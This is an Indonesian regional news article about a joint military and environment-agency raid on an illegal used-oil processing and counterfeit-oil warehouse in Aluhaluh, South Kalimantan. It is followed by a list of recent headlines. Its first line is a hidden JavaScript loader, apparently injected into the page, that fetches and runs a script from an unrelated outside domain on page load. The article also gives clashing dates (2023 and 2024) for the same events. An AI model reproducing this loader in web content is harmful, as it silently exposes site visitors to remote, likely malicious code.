(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Gudang Pengolahan Oli Bekas di Aluhaluh Dibongkar Aparat


KANALKALIMANTAN.COM, BANJARBARU – Tim gabungan Badan Intelijen Strategis (BAIS) TNI dan Dinas Lingkungan Hidup (DLH) Provinsi Kalsel membongkar gudang penimbunan dan produksi oli ilegal di Desa Tanipah, Kecamatan Aluhaluh, Kabupaten Banjar, Kamis (14/3/2023).

Limbah oli bekas itu diolah dan disimpan pada tiga gudang penimbunan. Tim menghitung sedikitnya ada 183 drum yang berisi 215 liter oli palsu.

Kemudian terdapat juga sebanyak 47 drum kosong, 5 drum yang masih bersegel dari Pertamina yang diduga dibeli dari kapal asing, serta 66 buah jiriken yang berisi kurang lebih 35 liter oli.

Baca juga: Balap Liar di Banjarmasin Tengah Dibubarkan, Ada Indikasi Taruhan Uang

Ratusan liter limbah oli bekas itu diduga diolah kembali menjadi merk oli yang dipalsukan oleh pemilik gudang, seperti diantaranya Pertamina, Castrol dan Shell.

Adapun oli yang sebenarnya sebagai oli untuk mesin diesel atau oli kapal diperjualbelikan bukan untuk oli diesel.

Petugas gabungan juga mendapati tempat penimbunan yang tidak berizin dan tidak memenuhi syarat penimbunan limbah B3 (Bahan Berbahaya Beracun) yang memiliki dampak buruk bagi lingkungan warga di sekitar.

Baca juga: Remaja Hendak Perang Sarung di Jalan Golf Dijemput Orangtua

Dari hasil investigasi tim gabungan, pemilik gudang bernama Mani yang menyerakan kepada kedua anaknya bernama Abdulrahman alias Adul, Saleh, dan menantunya Ipul sebagai pengelolanya.

Staf Penegakan Hukum dan Pelayanan Pengaduan DLH Kalsel, Junindra Jaya membeberkan, dari hasil temuan tim gabungan di lapangan semua syarat tersebut tidak semuanya terpenuhi sehingga dipastikan kegiatan gudeng penimbunan dan pengolahan oli tersebut ilegal.

“Tempat penampungan limbah B3 tersebut harus ada aturan mainnya, yakni alasnya harus kedap air, ada tempat pencegahan terjadi tercecernya oli, seperti dilengkapi dengan safety, karena dikhawatirkan terkena mata, selain itu harus ada SOP-nya,” ujar Junindra Jaya kepada Kanalkalimantan.com, Minggu (17/3/2024) siang.

“Kita sudah meminta kepada aparat yang berwenang untuk memasang police line terhadap gudang penimbunan oli tersebut,” sambung dia.

Baca juga: Wakil Rakyat Kapuas Minta Pengendalian Harga Sembako

Terkait dengan temuan limbah B3 dalam hal jual beli harus memiliki izin. Kemudian disebutkannya, transportasi yang dipakai harus memenuhi syarat, termasuk alamat pengiriman limbah B3 harus terdaftar di DLH Kalsel.

“Kita akan memanggil dan meminta kepada pemilik gudang untuk mengurus izin dari Dinas Lingkungan Hidup, serta menyampaikan kepada pelaku agar operasi kegiatan mereka sementara harus ditutup,” tegasnya.

Salah satu pengelola gudang mengakui kurang lebih 5 tahun sudah melakukan kegiatan tersebut.

“Sudah sekitar 5 tahun melakukan kegiatan ini, karena tidak tahu cara mengurus administrasi perizinan ke DLH,” ujar Adul.

Baca juga: Bupati Banjar Ajak Masyarakat Terus Dukung Program Pemerintah

Adul juga membeberkan untuk mengolah oli menjadi jernih dan bersih, mereka belajar secara otodidak dan pengolahan dilakukan secara amatir alias tidak dilakukan di tempat yang khusus.

“Di tempat pengolahan limbah oli ini kita mengolah menjadi oli bersih dengan menggunakan alat yakni kayu,” sebut dia.

Pengolahan limbah oli bekas berpotensi menimbulkan dampak berbahaya terhadap masyarakat, karena terjadinya pencemaran lingkungan dan sungai-sungai tercampur oleh oli itu.

Tempat itu pun diakui pemilik sudah lama dijadikan tempat penimbunan oli. Oli tersebut didapatkan dari kapal-kapal besar yang berada di perairan Kalsel.

Baca juga: Cari Berkah BTV : Sule Dituduh Menabrak Dustin Tiffani dan Harus Membayar Ganti Rugi

Kemudian oli yang sudah dilleh tersebut akan dijual ke tempat pembeli untuk dikemas ulang alias dijadikan oli palsu.

“Kita menjual oli tersebut ke warung-warung, namun tidak mengetahui apakah oli tersebut diolah kembali dalam kemasan baru atau dijual untuk oli mesin motor,” ungkapnya.

Tim gabungan juga menemukan limbah oli bekas itu juga diduga dicampur dengan minyak kelapa sawit karena ada minyak kelapa sawit di sekitar tempat pengolahan oli limbah tersebut.

Setelah jadi, oli tersebut dikirim dari Desa Tanipah menuju Pelabuhan Kecil di Kecamatan Aluhaluh. Dari dari Pelabuhan Kecil akan dikirim ke beberapa wilayah di Kalsel menggunakan pikap. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Muhammad Andi

Recent Posts

KPU Banjarbaru Siap Hadapi Gugatan MK

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More

3 jam ago

Original Series V+ PayLater: Amanda Manopo Terjerat Hutang Pinjaman Online Puluhan Juta

KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More

5 jam ago

Sowan ke Bakti Kementerian Komdigi, Komisi II dan Diskominfo Kotabaru Perjuangkan Akses Internet

KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More

5 jam ago

Satpol PP Banjar Dapati 7 Penjual Anakan Ikan

KANALKALIMANTAN.COM, MARTAPURA - Satuan Polisi Pamong Praja (Satpol PP) Kabupaten Banjar melakukan penertiban terhadap penjualan… Read More

6 jam ago

Kabupaten Banjar Raih Penghargaan dari Ombudsman

KANALKALIMANTAN.COM, MARTAPURA - Memasuk pengunjung 2024 ini Pemerintah Kabupaten Banjar meraih penghargaan dari Perwakilan Ombudsman… Read More

6 jam ago

Pemko Banjarbaru Raih Penghargaan Pelayanan Publik dari Ombudsman RI

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More

18 jam ago

This website uses cookies.